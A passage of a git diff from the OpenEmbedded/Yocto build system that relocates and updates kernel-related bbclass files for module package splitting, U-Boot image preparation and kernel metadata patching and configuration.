@@ -99,7 +105,7 @@ python __anonymous () {
typelower = type.lower()
preinst_append = preinst.replace('KERNEL_IMAGETYPE', type)
postinst_prepend = postinst.replace('KERNEL_IMAGETYPE', type)
- d.setVar('pkg_preinst_kernel-image-' + typelower + '_append', preinst_append)
- d.setVar('pkg_postinst_kernel-image-' + typelower + '_prepend', postinst_prepend)
+ d.setVar('pkg_preinst:kernel-image-' + typelower + ':append', preinst_append)
+ d.setVar('pkg_postinst:kernel-image-' + typelower + ':prepend', postinst_prepend)
}
diff --git a/meta/classes-recipe/kernel-module-split.bbclass b/meta/classes-recipe/kernel-module-split.bbclass
new file mode 100644
index 0000000000..9487365eb7
--- /dev/null
+++ b/meta/classes-recipe/kernel-module-split.bbclass
@@ -0,0 +1,188 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+pkg_postinst:modules () {
+if [ -z "$D" ]; then
+ depmod -a ${KERNEL_VERSION}
+else
+ # image.bbclass will call depmodwrapper after everything is installed,
+ # no need to do it here as well
+ :
+fi
+}
+
+pkg_postrm:modules () {
+if [ -z "$D" ]; then
+ depmod -a ${KERNEL_VERSION}
+else
+ depmodwrapper -a -b $D ${KERNEL_VERSION} ${KERNEL_PACKAGE_NAME}
+fi
+}
+
+autoload_postinst_fragment() {
+if [ x"$D" = "x" ]; then
+ modprobe %s || true
+fi
+}
+
+PACKAGE_WRITE_DEPS += "kmod-native depmodwrapper-cross"
+
+modulesloaddir ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '${nonarch_libdir}', '${sysconfdir}', d)}/modules-load.d"
+modprobedir ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '${nonarch_base_libdir}', '${sysconfdir}', d)}/modprobe.d"
+
+KERNEL_SPLIT_MODULES ?= "1"
+PACKAGESPLITFUNCS =+ "split_kernel_module_packages"
+
+KERNEL_MODULES_META_PACKAGE ?= "${@ d.getVar("KERNEL_PACKAGE_NAME") or "kernel" }-modules"
+
+KERNEL_MODULE_PACKAGE_PREFIX ?= ""
+KERNEL_MODULE_PACKAGE_SUFFIX ?= "-${KERNEL_VERSION}"
+KERNEL_MODULE_PROVIDE_VIRTUAL ?= "1"
+
+python split_kernel_module_packages () {
+ import re
+
+ modinfoexp = re.compile("([^=]+)=(.*)")
+
+ def extract_modinfo(file):
+ import tempfile, subprocess
+ tempfile.tempdir = d.getVar("WORKDIR")
+ compressed = re.match( r'.*\.(gz|xz|zst)$', file)
+ tf = tempfile.mkstemp()
+ tmpfile = tf[1]
+ if compressed:
+ tmpkofile = tmpfile + ".ko"
+ if compressed.group(1) == 'gz':
+ cmd = "gunzip -dc %s > %s" % (file, tmpkofile)
+ subprocess.check_call(cmd, shell=True)
+ elif compressed.group(1) == 'xz':
+ cmd = "xz -dc %s > %s" % (file, tmpkofile)
+ subprocess.check_call(cmd, shell=True)
+ elif compressed.group(1) == 'zst':
+ cmd = "zstd -dc %s > %s" % (file, tmpkofile)
+ subprocess.check_call(cmd, shell=True)
+ else:
+ msg = "Cannot decompress '%s'" % file
+ raise msg
+ cmd = "%s -j .modinfo -O binary %s %s" % (d.getVar("OBJCOPY"), tmpkofile, tmpfile)
+ else:
+ cmd = "%s -j .modinfo -O binary %s %s" % (d.getVar("OBJCOPY"), file, tmpfile)
+ subprocess.check_call(cmd, shell=True)
+ # errors='replace': Some old kernel versions contain invalid utf-8 characters in mod descriptions (like 0xf6, 'ö')
+ with open(tmpfile, errors='replace') as f:
+ l = f.read().split("\000")
+ os.close(tf[0])
+ os.unlink(tmpfile)
+ if compressed:
+ os.unlink(tmpkofile)
+ vals = {}
+ for i in l:
+ m = modinfoexp.match(i)
+ if not m:
+ continue
+ vals[m.group(1)] = m.group(2)
+ return vals
+
+ def frob_metadata(file, pkg, pattern, format, basename):
+ vals = extract_modinfo(file)
+
+ dvar = d.getVar('PKGD')
+
+ # If autoloading is requested, output ${modulesloaddir}/<name>.conf and append
+ # appropriate modprobe commands to the postinst
+ autoloadlist = (d.getVar("KERNEL_MODULE_AUTOLOAD") or "").split()
+ autoload = d.getVar('module_autoload_%s' % basename)
+ if autoload and autoload == basename:
+ bb.warn("module_autoload_%s was replaced by KERNEL_MODULE_AUTOLOAD for cases where basename == module name, please drop it" % basename)
+ if autoload and basename not in autoloadlist:
+ bb.warn("module_autoload_%s is defined but '%s' isn't included in KERNEL_MODULE_AUTOLOAD, please add it there" % (basename, basename))
+ if basename in autoloadlist:
+ conf = '%s/%s.conf' % (d.getVar('modulesloaddir'), basename)
+ name = '%s%s' % (dvar, conf)
+ os.makedirs(os.path.dirname(name), exist_ok=True)
+ with open(name, 'w') as f:
+ if autoload:
+ for m in autoload.split():
+ f.write('%s\n' % m)
+ else:
+ f.write('%s\n' % basename)
+ conf2append = ' %s' % conf
+ d.appendVar('FILES:%s' % pkg, conf2append)
+ d.appendVar('CONFFILES:%s' % pkg, conf2append)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ if not postinst:
+ bb.fatal("pkg_postinst:%s not defined" % pkg)
+ postinst += d.getVar('autoload_postinst_fragment') % (autoload or basename)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+
+ # Write out any modconf fragment
+ modconflist = (d.getVar("KERNEL_MODULE_PROBECONF") or "").split()
+ modconf = d.getVar('module_conf_%s' % basename)
+ if modconf and basename in modconflist:
+ conf = '%s/%s.conf' % (d.getVar('modprobedir'), basename)
+ name = '%s%s' % (dvar, conf)
+ os.makedirs(os.path.dirname(name), exist_ok=True)
+ with open(name, 'w') as f:
+ f.write("%s\n" % modconf)
+ conf2append = ' %s' % conf
+ d.appendVar('FILES:%s' % pkg, conf2append)
+ d.appendVar('CONFFILES:%s' % pkg, conf2append)
+
+ elif modconf:
+ bb.error("Please ensure module %s is listed in KERNEL_MODULE_PROBECONF since module_conf_%s is set" % (basename, basename))
+
+ if "description" in vals:
+ old_desc = d.getVar('DESCRIPTION:' + pkg) or ""
+ d.setVar('DESCRIPTION:' + pkg, old_desc + "; " + vals["description"])
+
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
+ modinfo_deps = []
+ if "depends" in vals and vals["depends"] != "":
+ for dep in vals["depends"].split(","):
+ on = legitimize_package_name(dep)
+ dependency_pkg = format % on
+ modinfo_deps.append(dependency_pkg)
+ for dep in modinfo_deps:
+ if not dep in rdepends:
+ rdepends[dep] = []
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+
+ # Avoid automatic -dev recommendations for modules ending with -dev.
+ d.setVarFlag('RRECOMMENDS:' + pkg, 'nodeprrecs', 1)
+
+ # Provide virtual package without postfix
+ providevirt = d.getVar('KERNEL_MODULE_PROVIDE_VIRTUAL')
+ if providevirt == "1":
+ postfix = format.split('%s')[1]
+ d.setVar('RPROVIDES:' + pkg, pkg.replace(postfix, ''))
+
+ kernel_package_name = d.getVar("KERNEL_PACKAGE_NAME") or "kernel"
+ kernel_version = d.getVar("KERNEL_VERSION")
+
+ metapkg = d.getVar('KERNEL_MODULES_META_PACKAGE')
+ splitmods = d.getVar('KERNEL_SPLIT_MODULES')
+ postinst = d.getVar('pkg_postinst:modules')
+ postrm = d.getVar('pkg_postrm:modules')
+
+ if splitmods != '1':
+ d.appendVar('FILES:' + metapkg, '%s %s %s/modules' %
+ (d.getVar('modulesloaddir'), d.getVar('modprobedir'), d.getVar("nonarch_base_libdir")))
+ d.appendVar('pkg_postinst:%s' % metapkg, postinst)
+ d.prependVar('pkg_postrm:%s' % metapkg, postrm);
+ return
+
+ module_regex = r'^(.*)\.k?o(?:\.(gz|xz|zst))?$'
+
+ module_pattern_prefix = d.getVar('KERNEL_MODULE_PACKAGE_PREFIX')
+ module_pattern_suffix = d.getVar('KERNEL_MODULE_PACKAGE_SUFFIX')
+ module_pattern = module_pattern_prefix + kernel_package_name + '-module-%s' + module_pattern_suffix
+
+ modules = do_split_packages(d, root='${nonarch_base_libdir}/modules', file_regex=module_regex, output_pattern=module_pattern, description='%s kernel module', postinst=postinst, postrm=postrm, recursive=True, hook=frob_metadata, extra_depends='%s-%s' % (kernel_package_name, kernel_version))
+ if modules:
+ d.appendVar('RDEPENDS:' + metapkg, ' '+' '.join(modules))
+}
+
+do_package[vardeps] += '${@" ".join(map(lambda s: "module_conf_" + s, (d.getVar("KERNEL_MODULE_PROBECONF") or "").split()))}'
diff --git a/meta/classes-recipe/kernel-uboot.bbclass b/meta/classes-recipe/kernel-uboot.bbclass
new file mode 100644
index 0000000000..30a85ccc28
--- /dev/null
+++ b/meta/classes-recipe/kernel-uboot.bbclass
@@ -0,0 +1,49 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# fitImage kernel compression algorithm
+FIT_KERNEL_COMP_ALG ?= "gzip"
+FIT_KERNEL_COMP_ALG_EXTENSION ?= ".gz"
+
+# Kernel image type passed to mkimage (i.e. kernel kernel_noload...)
+UBOOT_MKIMAGE_KERNEL_TYPE ?= "kernel"
+
+uboot_prep_kimage() {
+ if [ -e arch/${ARCH}/boot/compressed/vmlinux ]; then
+ vmlinux_path="arch/${ARCH}/boot/compressed/vmlinux"
+ linux_suffix=""
+ linux_comp="none"
+ elif [ -e arch/${ARCH}/boot/vmlinuz.bin ]; then
+ rm -f linux.bin
+ cp -l arch/${ARCH}/boot/vmlinuz.bin linux.bin
+ vmlinux_path=""
+ linux_suffix=""
+ linux_comp="none"
+ else
+ vmlinux_path="vmlinux"
+ # Use vmlinux.initramfs for linux.bin when INITRAMFS_IMAGE_BUNDLE set
+ # As per the implementation in kernel.bbclass.
+ # See do_bundle_initramfs function
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" = "1" ] && [ -e vmlinux.initramfs ]; then
+ vmlinux_path="vmlinux.initramfs"
+ fi
+ linux_suffix="${FIT_KERNEL_COMP_ALG_EXTENSION}"
+ linux_comp="${FIT_KERNEL_COMP_ALG}"
+ fi
+
+ [ -n "${vmlinux_path}" ] && ${KERNEL_OBJCOPY} -O binary -R .note -R .comment -S "${vmlinux_path}" linux.bin
+
+ if [ "${linux_comp}" != "none" ] ; then
+ if [ "${linux_comp}" = "gzip" ] ; then
+ gzip -9 linux.bin
+ elif [ "${linux_comp}" = "lzo" ] ; then
+ lzop -9 linux.bin
+ fi
+ mv -f "linux.bin${linux_suffix}" linux.bin
+ fi
+
+ echo "${linux_comp}"
+}
diff --git a/meta/classes/kernel-uimage.bbclass b/meta/classes-recipe/kernel-uimage.bbclass
index cedb4fa070..1a599e656c 100644
--- a/meta/classes/kernel-uimage.bbclass
+++ b/meta/classes-recipe/kernel-uimage.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit kernel-uboot
python __anonymous () {
@@ -30,6 +36,6 @@ do_uboot_mkimage() {
awk '$3=="${UBOOT_ENTRYSYMBOL}" {print "0x"$1;exit}'`
fi
- uboot-mkimage -A ${UBOOT_ARCH} -O linux -T kernel -C "${linux_comp}" -a ${UBOOT_LOADADDRESS} -e $ENTRYPOINT -n "${DISTRO_NAME}/${PV}/${MACHINE}" -d linux.bin ${B}/arch/${ARCH}/boot/uImage
+ uboot-mkimage -A ${UBOOT_ARCH} -O linux -T ${UBOOT_MKIMAGE_KERNEL_TYPE} -C "${linux_comp}" -a ${UBOOT_LOADADDRESS} -e $ENTRYPOINT -n "${DISTRO_NAME}/${PV}/${MACHINE}" -d linux.bin ${B}/arch/${ARCH}/boot/uImage
rm -f linux.bin
}
diff --git a/meta/classes-recipe/kernel-yocto.bbclass b/meta/classes-recipe/kernel-yocto.bbclass
new file mode 100644
index 0000000000..9a86616dad
--- /dev/null
+++ b/meta/classes-recipe/kernel-yocto.bbclass
@@ -0,0 +1,756 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# remove tasks that modify the source tree in case externalsrc is inherited
+SRCTREECOVEREDTASKS += "do_validate_branches do_kernel_configcheck do_kernel_checkout do_fetch do_unpack do_patch"
+PATCH_GIT_USER_EMAIL ?= "kernel-yocto@oe"
+PATCH_GIT_USER_NAME ?= "OpenEmbedded"
+
+# The distro or local.conf should set this, but if nobody cares...
+LINUX_KERNEL_TYPE ??= "standard"
+
+# KMETA ?= ""
+KBRANCH ?= "master"
+KMACHINE ?= "${MACHINE}"
+SRCREV_FORMAT ?= "meta_machine"
+
+# LEVELS:
+# 0: no reporting
+# 1: report options that are specified, but not in the final config
+# 2: report options that are not hardware related, but set by a BSP
+KCONF_AUDIT_LEVEL ?= "1"
+KCONF_BSP_AUDIT_LEVEL ?= "0"
+KMETA_AUDIT ?= "yes"
+KMETA_AUDIT_WERROR ?= ""
+
+# returns local (absolute) path names for all valid patches in the
+# src_uri
+def find_patches(d,subdir):
+ patches = src_patches(d)
+ patch_list=[]
+ for p in patches:
+ _, _, local, _, _, parm = bb.fetch.decodeurl(p)
+ # if patchdir has been passed, we won't be able to apply it so skip
+ # the patch for now, and special processing happens later
+ patchdir = ''
+ if "patchdir" in parm:
+ patchdir = parm["patchdir"]
+ if subdir:
+ if subdir == patchdir:
+ patch_list.append(local)
+ else:
+ # skip the patch if a patchdir was supplied, it won't be handled
+ # properly
+ if not patchdir:
+ patch_list.append(local)
+
+ return patch_list
+
+# returns all the elements from the src uri that are .scc files
+def find_sccs(d):
+ sources=src_patches(d, True)
+ sources_list=[]
+ for s in sources:
+ base, ext = os.path.splitext(os.path.basename(s))
+ if ext and ext in [".scc", ".cfg"]:
+ sources_list.append(s)
+ elif base and 'defconfig' in base:
+ sources_list.append(s)
+
+ return sources_list
+
+# check the SRC_URI for "kmeta" type'd git repositories. Return the name of
+# the repository as it will be found in WORKDIR
+def find_kernel_feature_dirs(d):
+ feature_dirs=[]
+ fetch = bb.fetch2.Fetch([], d)
+ for url in fetch.urls:
+ urldata = fetch.ud[url]
+ parm = urldata.parm
+ type=""
+ if "type" in parm:
+ type = parm["type"]
+ if "destsuffix" in parm:
+ destdir = parm["destsuffix"]
+ if type == "kmeta":
+ feature_dirs.append(destdir)
+
+ return feature_dirs
+
+# find the master/machine source branch. In the same way that the fetcher proceses
+# git repositories in the SRC_URI we take the first repo found, first branch.
+def get_machine_branch(d, default):
+ fetch = bb.fetch2.Fetch([], d)
+ for url in fetch.urls:
+ urldata = fetch.ud[url]
+ parm = urldata.parm
+ if "branch" in parm:
+ branches = urldata.parm.get("branch").split(',')
+ btype = urldata.parm.get("type")
+ if btype != "kmeta":
+ return branches[0]
+
+ return default
+
+# returns a list of all directories that are on FILESEXTRAPATHS (and
+# hence available to the build) that contain .scc or .cfg files
+def get_dirs_with_fragments(d):
+ extrapaths = []
+ extrafiles = []
+ extrapathsvalue = (d.getVar("FILESEXTRAPATHS") or "")
+ # Remove default flag which was used for checking
+ extrapathsvalue = extrapathsvalue.replace("__default:", "")
+ extrapaths = extrapathsvalue.split(":")
+ for path in extrapaths:
+ if path + ":True" not in extrafiles:
+ extrafiles.append(path + ":" + str(os.path.exists(path)))
+
+ return " ".join(extrafiles)
+
+do_kernel_metadata() {
+ set +e
+
+ if [ -n "$1" ]; then
+ mode="$1"
+ else
+ mode="patch"
+ fi
+
+ cd ${S}
+ export KMETA=${KMETA}
+
+ bbnote "do_kernel_metadata: for summary/debug, set KCONF_AUDIT_LEVEL > 0"
+
+ # if kernel tools are available in-tree, they are preferred
+ # and are placed on the path before any external tools. Unless
+ # the external tools flag is set, in that case we do nothing.
+ if [ -f "${S}/scripts/util/configme" ]; then
+ if [ -z "${EXTERNAL_KERNEL_TOOLS}" ]; then
+ PATH=${S}/scripts/util:${PATH}
+ fi
+ fi
+
+ # In a similar manner to the kernel itself:
+ #
+ # defconfig: $(obj)/conf
+ # ifeq ($(KBUILD_DEFCONFIG),)
+ # $< --defconfig $(Kconfig)
+ # else
+ # @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'"
+ # $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig)
+ # endif
+ #
+ # If a defconfig is specified via the KBUILD_DEFCONFIG variable, we copy it
+ # from the source tree, into a common location and normalized "defconfig" name,
+ # where the rest of the process will include and incoroporate it into the build
+ #
+ # If the fetcher has already placed a defconfig in WORKDIR (from the SRC_URI),
+ # we don't overwrite it, but instead warn the user that SRC_URI defconfigs take
+ # precendence.
+ #
+ if [ -n "${KBUILD_DEFCONFIG}" ]; then
+ if [ -f "${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG}" ]; then
+ if [ -f "${WORKDIR}/defconfig" ]; then
+ # If the two defconfig's are different, warn that we overwrote the
+ # one already placed in WORKDIR
+ cmp "${WORKDIR}/defconfig" "${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG}"
+ if [ $? -ne 0 ]; then
+ bbdebug 1 "detected SRC_URI or unpatched defconfig in WORKDIR. ${KBUILD_DEFCONFIG} copied over it"
+ fi
+ cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
+ else
+ cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
+ fi
+ in_tree_defconfig="${WORKDIR}/defconfig"
+ else
+ bbfatal "A KBUILD_DEFCONFIG '${KBUILD_DEFCONFIG}' was specified, but not present in the source tree (${S}/arch/${ARCH}/configs/)"
+ fi
+ fi
+
+ if [ "$mode" = "patch" ]; then
+ # was anyone trying to patch the kernel meta data ?, we need to do
+ # this here, since the scc commands migrate the .cfg fragments to the
+ # kernel source tree, where they'll be used later.
+ check_git_config
+ patches="${@" ".join(find_patches(d,'kernel-meta'))}"
+ if [ -n "$patches" ]; then
+ (
+ cd ${WORKDIR}/kernel-meta
+
+ # take the SRC_URI patches, and create a series file
+ # this is required to support some better processing
+ # of issues with the patches
+ rm -f series
+ for p in $patches; do
+ cp $p .
+ echo "$(basename $p)" >> series
+ done
+
+ # process the series with kgit-s2q, which is what is
+ # handling the rest of the kernel. This allows us
+ # more flexibility for handling failures or advanced
+ # mergeing functinoality
+ message=$(kgit-s2q --gen -v --patches ${WORKDIR}/kernel-meta 2>&1)
+ if [ $? -ne 0 ]; then
+ # setup to try the patch again
+ kgit-s2q --prev
+ bberror "Problem applying patches to: ${WORKDIR}/kernel-meta"
+ bbfatal_log "\n($message)"
+ fi
+ )
+ fi
+ fi
+
+ sccs_from_src_uri="${@" ".join(find_sccs(d))}"
+ patches="${@" ".join(find_patches(d,''))}"
+ feat_dirs="${@" ".join(find_kernel_feature_dirs(d))}"
+
+ # a quick check to make sure we don't have duplicate defconfigs If
+ # there's a defconfig in the SRC_URI, did we also have one from the
+ # KBUILD_DEFCONFIG processing above ?
+ src_uri_defconfig=$(echo $sccs_from_src_uri | awk '(match($0, "defconfig") != 0) { print $0 }' RS=' ')
+ # drop and defconfig's from the src_uri variable, we captured it just above here if it existed
+ sccs_from_src_uri=$(echo $sccs_from_src_uri | awk '(match($0, "defconfig") == 0) { print $0 }' RS=' ')
+
+ if [ -n "$in_tree_defconfig" ]; then
+ sccs_defconfig=$in_tree_defconfig
+ if [ -n "$src_uri_defconfig" ]; then
+ bbwarn "[NOTE]: defconfig was supplied both via KBUILD_DEFCONFIG and SRC_URI. Dropping SRC_URI entry $src_uri_defconfig"
+ fi
+ else
+ # if we didn't have an in-tree one, make our defconfig the one
+ # from the src_uri. Note: there may not have been one from the
+ # src_uri, so this can be an empty variable.
+ sccs_defconfig=$src_uri_defconfig
+ fi
+ sccs="$sccs_from_src_uri"
+
+ # check for feature directories/repos/branches that were part of the
+ # SRC_URI. If they were supplied, we convert them into include directives
+ # for the update part of the process
+ for f in ${feat_dirs}; do
+ if [ -d "${WORKDIR}/$f/kernel-meta" ]; then
+ includes="$includes -I${WORKDIR}/$f/kernel-meta"
+ elif [ -d "${WORKDIR}/../oe-local-files/$f" ]; then
+ includes="$includes -I${WORKDIR}/../oe-local-files/$f"
+ elif [ -d "${WORKDIR}/$f" ]; then
+ includes="$includes -I${WORKDIR}/$f"
+ fi
+ done
+ for s in ${sccs} ${patches}; do
+ sdir=$(dirname $s)
+ includes="$includes -I${sdir}"
+ # if a SRC_URI passed patch or .scc has a subdir of "kernel-meta",
+ # then we add it to the search path
+ if [ -d "${sdir}/kernel-meta" ]; then
+ includes="$includes -I${sdir}/kernel-meta"
+ fi
+ done
+
+ # expand kernel features into their full path equivalents
+ bsp_definition=$(spp ${includes} --find -DKMACHINE=${KMACHINE} -DKTYPE=${LINUX_KERNEL_TYPE})
+ if [ -z "$bsp_definition" ]; then
+ if [ -z "$sccs_defconfig" ]; then
+ bbfatal_log "Could not locate BSP definition for ${KMACHINE}/${LINUX_KERNEL_TYPE} and no defconfig was provided"
+ fi
+ else
+ # if the bsp definition has "define KMETA_EXTERNAL_BSP t",
+ # then we need to set a flag that will instruct the next
+ # steps to use the BSP as both configuration and patches.
+ grep -q KMETA_EXTERNAL_BSP $bsp_definition
+ if [ $? -eq 0 ]; then
+ KMETA_EXTERNAL_BSPS="t"
+ fi
+ fi
+ meta_dir=$(kgit --meta)
+
+ KERNEL_FEATURES_FINAL=""
+ if [ -n "${KERNEL_FEATURES}" ]; then
+ for feature in ${KERNEL_FEATURES}; do
+ feature_found=f
+ for d in $includes; do
+ path_to_check=$(echo $d | sed 's/^-I//')
+ if [ "$feature_found" = "f" ] && [ -e "$path_to_check/$feature" ]; then
+ feature_found=t
+ fi
+ done
+ if [ "$feature_found" = "f" ]; then
+ if [ -n "${KERNEL_DANGLING_FEATURES_WARN_ONLY}" ]; then
+ bbwarn "Feature '$feature' not found, but KERNEL_DANGLING_FEATURES_WARN_ONLY is set"
+ bbwarn "This may cause runtime issues, dropping feature and allowing configuration to continue"
+ else
+ bberror "Feature '$feature' not found, this will cause configuration failures."
+ bberror "Check the SRC_URI for meta-data repositories or directories that may be missing"
+ bbfatal_log "Set KERNEL_DANGLING_FEATURES_WARN_ONLY to ignore this issue"
+ fi
+ else
+ KERNEL_FEATURES_FINAL="$KERNEL_FEATURES_FINAL $feature"
+ fi
+ done
+ fi
+
+ if [ "$mode" = "config" ]; then
+ # run1: pull all the configuration fragments, no matter where they come from
+ elements="`echo -n ${bsp_definition} $sccs_defconfig ${sccs} ${patches} $KERNEL_FEATURES_FINAL`"
+ if [ -n "${elements}" ]; then
+ echo "${bsp_definition}" > ${S}/${meta_dir}/bsp_definition
+ scc --force -o ${S}/${meta_dir}:cfg,merge,meta ${includes} $sccs_defconfig $bsp_definition $sccs $patches $KERNEL_FEATURES_FINAL
+ if [ $? -ne 0 ]; then
+ bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
+ fi
+ fi
+ fi
+
+ # if KMETA_EXTERNAL_BSPS has been set, or it has been detected from
+ # the bsp definition, then we inject the bsp_definition into the
+ # patch phase below. we'll piggy back on the sccs variable.
+ if [ -n "${KMETA_EXTERNAL_BSPS}" ]; then
+ sccs="${bsp_definition} ${sccs}"
+ fi
+
+ if [ "$mode" = "patch" ]; then
+ # run2: only generate patches for elements that have been passed on the SRC_URI
+ elements="`echo -n ${sccs} ${patches} $KERNEL_FEATURES_FINAL`"
+ if [ -n "${elements}" ]; then
+ scc --force -o ${S}/${meta_dir}:patch --cmds patch ${includes} ${sccs} ${patches} $KERNEL_FEATURES_FINAL
+ if [ $? -ne 0 ]; then
+ bbfatal_log "Could not generate configuration queue for ${KMACHINE}."
+ fi
+ fi
+ fi
+
+ if [ ${KCONF_AUDIT_LEVEL} -gt 0 ]; then
+ bbnote "kernel meta data summary for ${KMACHINE} (${LINUX_KERNEL_TYPE}):"
+ bbnote "======================================================================"
+ if [ -n "${KMETA_EXTERNAL_BSPS}" ]; then
+ bbnote "Non kernel-cache (external) bsp"
+ fi
+ bbnote "BSP entry point / definition: $bsp_definition"
+ if [ -n "$in_tree_defconfig" ]; then
+ bbnote "KBUILD_DEFCONFIG: ${KBUILD_DEFCONFIG}"
+ fi
+ bbnote "Fragments from SRC_URI: $sccs_from_src_uri"
+ bbnote "KERNEL_FEATURES: $KERNEL_FEATURES_FINAL"
+ bbnote "Final scc/cfg list: $sccs_defconfig $bsp_definition $sccs $KERNEL_FEATURES_FINAL"
+ fi
+
+ set -e
+}
+
+do_patch() {
+ set +e
+ cd ${S}
+
+ check_git_config
+ meta_dir=$(kgit --meta)
+ (cd ${meta_dir}; ln -sf patch.queue series)
+ if [ -f "${meta_dir}/series" ]; then
+ kgit_extra_args=""
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
+ kgit_extra_args="--commit-sha author"
+ fi
+ kgit-s2q --gen -v $kgit_extra_args --patches .kernel-meta/
+ if [ $? -ne 0 ]; then
+ bberror "Could not apply patches for ${KMACHINE}."
+ bbfatal_log "Patch failures can be resolved in the linux source directory ${S})"
+ fi
+ fi
+
+ if [ -f "${meta_dir}/merge.queue" ]; then
+ # we need to merge all these branches
+ for b in $(cat ${meta_dir}/merge.queue); do
+ git show-ref --verify --quiet refs/heads/${b}
+ if [ $? -eq 0 ]; then
+ bbnote "Merging branch ${b}"
+ git merge -q --no-ff -m "Merge branch ${b}" ${b}
+ else
+ bbfatal "branch ${b} does not exist, cannot merge"
+ fi
+ done
+ fi
+
+ set -e
+}
+
+do_kernel_checkout() {
+ set +e
+
+ source_dir=`echo ${S} | sed 's%/$%%'`
+ source_workdir="${WORKDIR}/git"
+ if [ -d "${WORKDIR}/git/" ]; then
+ # case: git repository
+ # if S is WORKDIR/git, then we shouldn't be moving or deleting the tree.
+ if [ "${source_dir}" != "${source_workdir}" ]; then
+ if [ -d "${source_workdir}/.git" ]; then
+ # regular git repository with .git
+ rm -rf ${S}
+ mv ${WORKDIR}/git ${S}
+ else
+ # create source for bare cloned git repository
+ git clone ${WORKDIR}/git ${S}
+ rm -rf ${WORKDIR}/git
+ fi
+ fi
+ cd ${S}
+
+ # convert any remote branches to local tracking ones
+ for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
+ b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
+ git show-ref --quiet --verify -- "refs/heads/$b"
+ if [ $? -ne 0 ]; then
+ git branch $b $i > /dev/null
+ fi
+ done
+
+ # Create a working tree copy of the kernel by checking out a branch
+ machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
+
+ # checkout and clobber any unimportant files
+ git checkout -f ${machine_branch}
+ else
+ # case: we have no git repository at all.
+ # To support low bandwidth options for building the kernel, we'll just
+ # convert the tree to a git repo and let the rest of the process work unchanged
+
+ # if ${S} hasn't been set to the proper subdirectory a default of "linux" is
+ # used, but we can't initialize that empty directory. So check it and throw a
+ # clear error
+
+ cd ${S}
+ if [ ! -f "Makefile" ]; then
+ bberror "S is not set to the linux source directory. Check "
+ bbfatal "the recipe and set S to the proper extracted subdirectory"
+ fi
+ rm -f .gitignore
+ git init
+ check_git_config
+ git add .
+ git commit -q -n -m "baseline commit: creating repo for ${PN}-${PV}"
+ git clean -d -f
+ fi
+
+ set -e
+}
+do_kernel_checkout[dirs] = "${S} ${WORKDIR}"
+
+addtask kernel_checkout before do_kernel_metadata after do_symlink_kernsrc
+addtask kernel_metadata after do_validate_branches do_unpack before do_patch
+do_kernel_metadata[depends] = "kern-tools-native:do_populate_sysroot"
+do_kernel_metadata[file-checksums] = " ${@get_dirs_with_fragments(d)}"
+do_validate_branches[depends] = "kern-tools-native:do_populate_sysroot"
+
+do_kernel_configme[depends] += "virtual/${TARGET_PREFIX}binutils:do_populate_sysroot"
+do_kernel_configme[depends] += "virtual/${TARGET_PREFIX}gcc:do_populate_sysroot"
+do_kernel_configme[depends] += "bc-native:do_populate_sysroot bison-native:do_populate_sysroot"
+do_kernel_configme[depends] += "kern-tools-native:do_populate_sysroot"
+do_kernel_configme[dirs] += "${S} ${B}"
+do_kernel_configme() {
+ do_kernel_metadata config
+
+ # translate the kconfig_mode into something that merge_config.sh
+ # understands
+ case ${KCONFIG_MODE} in
+ *allnoconfig)
+ config_flags="-n"
+ ;;
+ *alldefconfig)
+ config_flags=""
+ ;;
+ *)
+ if [ -f ${WORKDIR}/defconfig ]; then
+ config_flags="-n"
+ fi
+ ;;
+ esac
+
+ cd ${S}
+
+ meta_dir=$(kgit --meta)
+ configs="$(scc --configs -o ${meta_dir})"
+ if [ $? -ne 0 ]; then
+ bberror "${configs}"
+ bbfatal_log "Could not find configuration queue (${meta_dir}/config.queue)"
+ fi
+
+ CFLAGS="${CFLAGS} ${TOOLCHAIN_OPTIONS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}" CC="${KERNEL_CC}" LD="${KERNEL_LD}" OBJCOPY="${KERNEL_OBJCOPY}" STRIP="${KERNEL_STRIP}" ARCH=${ARCH} merge_config.sh -O ${B} ${config_flags} ${configs} > ${meta_dir}/cfg/merge_config_build.log 2>&1
+ if [ $? -ne 0 -o ! -f ${B}/.config ]; then
+ bberror "Could not generate a .config for ${KMACHINE}-${LINUX_KERNEL_TYPE}"
+ if [ ${KCONF_AUDIT_LEVEL} -gt 1 ]; then
+ bbfatal_log "`cat ${meta_dir}/cfg/merge_config_build.log`"
+ else
+ bbfatal_log "Details can be found at: ${S}/${meta_dir}/cfg/merge_config_build.log"
+ fi
+ fi
+
+ if [ ! -z "${LINUX_VERSION_EXTENSION}" ]; then
+ echo "# Global settings from linux recipe" >> ${B}/.config
+ echo "CONFIG_LOCALVERSION="\"${LINUX_VERSION_EXTENSION}\" >> ${B}/.config
+ fi
+}
+
+addtask kernel_configme before do_configure after do_patch
+addtask config_analysis
+
